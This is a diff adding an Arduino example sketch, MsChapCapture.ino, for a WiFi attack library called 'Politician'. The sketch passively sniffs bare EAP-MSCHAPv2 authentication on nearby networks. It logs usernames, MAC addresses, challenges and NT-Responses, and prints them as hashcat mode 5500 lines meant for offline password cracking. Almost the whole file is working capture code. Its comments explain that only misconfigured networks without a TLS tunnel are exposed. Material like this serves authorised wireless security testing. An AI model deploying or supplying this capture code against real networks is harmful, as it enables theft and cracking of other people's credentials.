|
| 1 | +/* |
| 2 | + * MsChapCapture.ino |
| 3 | + * |
| 4 | + * Demonstrates passive bare EAP-MSCHAPv2 credential capture using the |
| 5 | + * Politician library. |
| 6 | + * |
| 7 | + * EAP-MSCHAPv2 (RFC 2759) uses a challenge/response exchange: |
| 8 | + * AP → Client : 16-byte server challenge |
| 9 | + * Client → AP : NT-Response (24 bytes) derived from NTLM hash + challenge |
| 10 | + * |
| 11 | + * When MSCHAPv2 runs bare (not inside a PEAP/TTLS TLS tunnel), both frames |
| 12 | + * are in plaintext and can be passively sniffed. The NT-Response + challenge |
| 13 | + * pair can be fed directly into hashcat mode 5500 (NetNTLMv1). |
| 14 | + * |
| 15 | + * NOTE: Bare MSCHAPv2 without an outer TLS tunnel is a network misconfiguration |
| 16 | + * (RFC 2759 §9.3 explicitly warns against it). PEAP/TTLS MSCHAPv2 encrypts |
| 17 | + * the inner exchange and is NOT capturable by this method. |
| 18 | + * |
| 19 | + * This example is disabled at compile time if POLITICIAN_NO_MSCHAPV2 is defined. |
| 20 | + * |
| 21 | + * Build flags (platformio.ini): |
| 22 | + * build_flags = -DPOLITICIAN_NO_MSCHAPV2 ; disables this feature entirely |
| 23 | + */ |
| 24 | + |
| 25 | +#include <Arduino.h> |
| 26 | +#include <Politician.h> |
| 27 | + |
| 28 | +using namespace politician; |
| 29 | + |
| 30 | +#ifndef POLITICIAN_NO_MSCHAPV2 |
| 31 | + |
| 32 | +Politician engine; |
| 33 | + |
| 34 | +// ─── MSCHAPv2 Capture Callback ──────────────────────────────────────────────── |
| 35 | + |
| 36 | +void onMsChap(const MsChapRecord &rec) { |
| 37 | + Serial.println("\n╔══════════════════════════════════════════╗"); |
| 38 | + Serial.println("║ Bare EAP-MSCHAPv2 Pair Captured ║"); |
| 39 | + Serial.println("╚══════════════════════════════════════════╝"); |
| 40 | + |
| 41 | + Serial.printf(" AP BSSID : %02X:%02X:%02X:%02X:%02X:%02X\n", |
| 42 | + rec.bssid[0], rec.bssid[1], rec.bssid[2], |
| 43 | + rec.bssid[3], rec.bssid[4], rec.bssid[5]); |
| 44 | + |
| 45 | + Serial.printf(" STA MAC : %02X:%02X:%02X:%02X:%02X:%02X\n", |
| 46 | + rec.sta[0], rec.sta[1], rec.sta[2], |
| 47 | + rec.sta[3], rec.sta[4], rec.sta[5]); |
| 48 | + |
| 49 | + Serial.printf(" Username : %s\n", rec.username); |
| 50 | + |
| 51 | + // Server challenge (from AP → Client, 16 bytes) |
| 52 | + Serial.print(" Server Challenge: "); |
| 53 | + for (int i = 0; i < 16; i++) Serial.printf("%02X", rec.server_challenge[i]); |
| 54 | + Serial.println(); |
| 55 | + |
| 56 | + // NT-Response (from Client → AP, 24 bytes) |
| 57 | + Serial.print(" NT-Response : "); |
| 58 | + for (int i = 0; i < 24; i++) Serial.printf("%02X", rec.nt_response[i]); |
| 59 | + Serial.println(); |
| 60 | + |
| 61 | + // Peer challenge (from Client → AP, 16 bytes) |
| 62 | + Serial.print(" Peer Challenge : "); |
| 63 | + for (int i = 0; i < 16; i++) Serial.printf("%02X", rec.peer_challenge[i]); |
| 64 | + Serial.println(); |
| 65 | + |
| 66 | + // Print hashcat mode 5500 line for direct cracking |
| 67 | + // Format: username::::peer_challenge:server_challenge:nt_response |
| 68 | + Serial.println("\n [hashcat -m 5500 format]"); |
| 69 | + Serial.printf(" %s::::", rec.username); |
| 70 | + for (int i = 0; i < 16; i++) Serial.printf("%02X", rec.peer_challenge[i]); |
| 71 | + Serial.print(":"); |
| 72 | + for (int i = 0; i < 16; i++) Serial.printf("%02X", rec.server_challenge[i]); |
| 73 | + Serial.print(":"); |
| 74 | + for (int i = 0; i < 24; i++) Serial.printf("%02X", rec.nt_response[i]); |
| 75 | + Serial.println("\n──────────────────────────────────────────────\n"); |
| 76 | +} |
| 77 | + |
| 78 | +// ─── EAP Identity Callback (optional: log who's authenticating) ─────────────── |
| 79 | + |
| 80 | +void onIdentity(const EapIdentityRecord &rec) { |
| 81 | + Serial.printf("[EAP] Identity: \"%s\" from %02X:%02X:%02X:%02X:%02X:%02X\n", |
| 82 | + rec.identity, |
| 83 | + rec.client[0], rec.client[1], rec.client[2], |
| 84 | + rec.client[3], rec.client[4], rec.client[5]); |
| 85 | +} |
| 86 | + |
| 87 | +// ─── Setup ─────────────────────────────────────────────────────────────────── |
| 88 | + |
| 89 | +void setup() { |
| 90 | + Serial.begin(115200); |
| 91 | + delay(2000); |
| 92 | + Serial.println("\n--- Politician: Bare EAP-MSCHAPv2 Capture Example ---"); |
| 93 | + Serial.println("Listening for unencapsulated MSCHAPv2 exchanges...\n"); |
| 94 | + Serial.println("NOTE: Only captures bare MSCHAPv2 (no PEAP/TTLS tunnel)."); |
| 95 | + Serial.println(" Tunneled MSCHAPv2 is encrypted and NOT captured here.\n"); |
| 96 | + |
| 97 | + Config cfg; |
| 98 | + cfg.smart_hopping = true; |
| 99 | + |
| 100 | + if (engine.begin(cfg) != politician::OK) { |
| 101 | + Serial.println("[ERROR] WiFi init failed!"); |
| 102 | + while (1) delay(100); |
| 103 | + } |
| 104 | + |
| 105 | + engine.setIdentityCallback(onIdentity); |
| 106 | + engine.setMsChapCallback(onMsChap); |
| 107 | + |
| 108 | + // Passive only — just listen for EAP frames |
| 109 | + engine.setAttackMask(ATTACK_PASSIVE); |
| 110 | + engine.startHopping(); |
| 111 | + |
| 112 | + Serial.println("Hopper started. Listening for MSCHAPv2 exchanges..."); |
| 113 | +} |
| 114 | + |
| 115 | +// ─── Loop ──────────────────────────────────────────────────────────────────── |
| 116 | + |
| 117 | +void loop() { |
| 118 | + engine.tick(); |
| 119 | +} |
| 120 | + |
| 121 | +#else // POLITICIAN_NO_MSCHAPV2 defined |
| 122 | + |
| 123 | +void setup() { |
| 124 | + Serial.begin(115200); |
| 125 | + delay(2000); |
| 126 | + Serial.println("MSCHAPv2 capture is disabled (POLITICIAN_NO_MSCHAPV2 defined)."); |
| 127 | + Serial.println("Remove the define from build_flags to enable this feature."); |
| 128 | +} |
| 129 | + |
| 130 | +void loop() {} |
| 131 | + |
| 132 | +#endif |
0 commit comments